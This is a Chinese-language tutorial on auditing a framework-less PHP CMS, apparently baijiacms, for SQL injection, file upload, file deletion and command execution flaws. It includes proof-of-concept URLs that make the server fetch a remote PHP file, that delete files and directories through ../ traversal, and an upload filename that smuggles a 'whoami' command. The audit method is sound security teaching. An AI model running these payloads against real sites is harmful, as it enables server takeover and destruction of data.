PHP无框架代码审计

PHP技术
173
0
0
2024-05-01

原文链接:

https://forum.butian.net/share/2670

0x00 审计环境

phpstudy(php5.6.27+Apache+mysql)
Windows10 64位 
PHPStorm

将源码放到WWW目录,访问/install.php安装即可

0x01 目录结构

开始审计前,先看一下目录结构,判断是否使用框架开发,常见的框架如Thinkphp、Laravel、Yii等都有比较明显的特征

判断没有用框架,就先搞清楚目录结构、路由。主要关注以下几个方面:

1)入口文件index.php:根目录下的index.php文件是一个程序的入口,通常会包含整个程序的运行流程、包含的文件,所以通读一下index.php文件有助于我们了解整个程序的运行逻辑

2)安全过滤文件:安全过滤文件中会写函数对参数进行过滤,所以了解程序过滤的漏洞,对于我们进行漏洞利用至关重要。这类文件通常会在其他文件中包含,所以一般会在特定的目录,如上面的includes目录下。另外,找这类文件,也可以从其他文件包含的文件去看

3)函数集文件:函数集文件中会写一些公共的函数,方便其他文件对该函数进行调用,所以这类文件也会在其他文件中进行包含。这类文件通常会存放在common或function等文件夹中

1、入口文件index.php分析

首先检查/config/install.link文件是否存在,如果不存在就重定向到install.php进行安装

然后通过条件判断来确定 mod 的值,然后跟进 mod 的值定义SYSTEM_ACT常量

接着根据是否传入参数do和act来确定参数的值

在最后包含includes/baijiacms.php

2、安全过滤分析

跟进到includes/baijiacms.php查看,一开始定义一些常量

随后发现该文件中定义了一个irequestsplite函数

irequestsplite()函数主要是用htmlspecialchars()将预定义字符(&、<、>、"、')转换为HTML实体,防止XSS。92行对$_GP调用irequestsplite()处理,即对GET和POST传入的数据都进行处理

3、路由分析

路由信息可通过全局搜索route关键字,到写了路由配置的文件中查看

如果在文件中没有找到,可以访问网站,查看url,结合url中的参数和文件目录及文件名进行理解

在登录页面,可以看到四个参数mod、act、do、beid,这里主要关注前三个,将这三个变量接收的参数在网站目录的文件中寻找

可以看到接收的值和标记的文件目录文件名一样,index.php调用了page,查看一下

会调用/template/mobile/目录下的index.php文件

确认是正确对应,act代表目录名,mod代表目录名,do代表文件名

登录后台页面,查看url,site、manager、store三个参数

继续看网站目录的文件,发现web目录不符合

尝试修改mod值为web,发现可正常访问

至此了解了网站路由,且所有接收参数都是system目录下的文件中,所以我们可以重点看该目录下的文件。

0x02 代码审计

审计代码可以从两个方向出发:

  • 从功能点进行审计,通过浏览网页,寻找可能存在漏洞的功能点,然后找到相对应的源码进行审计
  • 从代码方向进行审计,通过全局搜索危险函数,审计相关函数的参数是否可控,来审计是否存在漏洞

1、sql注入审计

主要注意执行sql语句的地方参数是否用户可控,是否使用了预编译

可以全局搜索select等sql语句关键词,然后定位到具体的语句,然后查看里面有没有拼接的变量;也可以浏览网页,找具有查询功能的地方,定位到文件参数,审计是否存在漏洞

浏览网页,发现搜索功能

根据url定位到文件\system\manager\class\web\store.php,抓包发现接收参数为sname,搜索sname

$_GP['sname']接收我们输入的参数并使用单引号包裹拼接到SQL语句中,只看这里很明显存在sql注入

但是在前面看全局过滤的时候,知道对传参使用htmlspecialchars()函数进行处理,会将单引号转换成html实体,而此处需要单引号闭合,所以不存在sql注入

2、文件上传/文件写入审计

审计文件上传/写入漏洞,主要需要关注是否对文件类型、文件大小、上传路径、文件名等进行了限制。

有的项目,会将文件上传下载功能封装到一个自定义函数中,所以可以全局搜索upliad、file的函数,看看是否有自定义的函数。

也可以直接搜索move_uploaded_filefile_put_contents函数,判断参数是否可控。

全局搜索move_uploaded_file,发现两处调用

在excel.php中,检查文件后缀是否为xlsx,无法上传,看第二处common.inc.php文件

file_move自定义函数中使用了move_uploaded_file函数,移动上传的文件,跟进file_move

file_save函数中调用,继续跟进file_save,找到4处调用,逐个审计,发现只有一处对文件后缀没有限制

fetch_net_file_upload函数中,通过 url 获取文件名,存到 extention ,然后经过拼接取得上传路径,利用file_put_content函数上传文件,然后调用file_save将上传的文件移动到新的位置

该函数中没有对上传后缀、上传大小等做限制,很显然会存在文件上传。 接着搜索哪里调用了fetch_net_file_upload,找到一处调用

可以发现上传的数据通过url参数传入,传参方式为_GPC,等同与_GP

所以可以通过url传入远程恶意文件地址,达到文件写入的目的

漏洞验证

根据文件路径构造url /index.php?mod=web&act=public&do=file&op=fetch&url=http://远程IP/info.php

访问该路径,成功写入

3、任意文件删除审计

审计任意文件删除,需要注意是否存在../...\等跨目录的字符过滤,是否配置了路径等

文件删除主要搜索unlinkrmdir函数,unlink 用于删除文件,rmdir用于删除文件夹

任意文件删除一

全局搜索unlink,在common.inc.php中写了一个file_delete函数中调用了unlink删除文件

寻找file_delete调用的地方,看参数可控处审计

/system/eshop/coe/mobie/util/uploader.php中,调用file_delete删除文件,且参数可控

漏洞验证:

在根目录下创建一个aaa.txt,构造url删除

/index.php?mod=mobile&do=util&act=uploader&m=eshop&op=remove&file=../aaa.txt

成功删除

任意文件删除二

common.inc.php中的rmdirs函数同样调用了unlink函数,并且发现还调用了rmdir函数

首先用is_dir判断传入的参数是否是一个目录,如果是,并且不是/cache/目录,就调用rmdir删除目录;如果不是,则调用unink删除文件

全局搜索rmdirs,在/system/manager/class/web/database.php找到一处调用

通过id传入参数并base64解码,然后传入判断是一个目录,则调用rmdirs,这里限制了只能删除一个目录

漏洞验证:

在根目录创建一个test目录,构造url删除,将../../test进行base64编码传入id /index.php?mod=web&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==

成功删除

4、命令执行审计

命令执行可以全局搜索一切可以执行命令的函数,如exec、passthru、proc_open、shell_exec、system、pcntl_exec、popen等,审计参数是否可控

全局搜索这些函数,找到在common.inc.php文件中存在一处file_save函数调用system()

当settings['image_compress_openscale']非空的时候,就会调用system(),参数拼接的,其中file_full_path是通过函数传入的第四个参数

搜索image_compress_openscale的值

可以看到是通过$_GP传入进行设置,发数据包设置为非空即可

接下来寻找file_save函数调用的地方,主要关注第四个参数是否可控即可,在/system/weixin/class/web/setting.php中找到一处调用

可以看到第四个参数是根目录路径加上$fie['name']

fie['name']来源于_FILES['weixin_verify_file']为用户可控,构造文件名即可执行命令,后续会检查后缀是否为txt

漏洞验证:

定位到漏洞存在路径 /index.php/?mod=web&act=weixin&do=setting

上传文件抓包,修改文件名(因为前面会拼接路径,所以需要用&进行分割) filename="&whoami&.txt"

0x03 总结

这篇文章涉及到的漏洞并不多,但是其他的漏洞审计也是差不多,搜索可能产生漏洞的函数,检查过滤是否到位,参数是否可控等。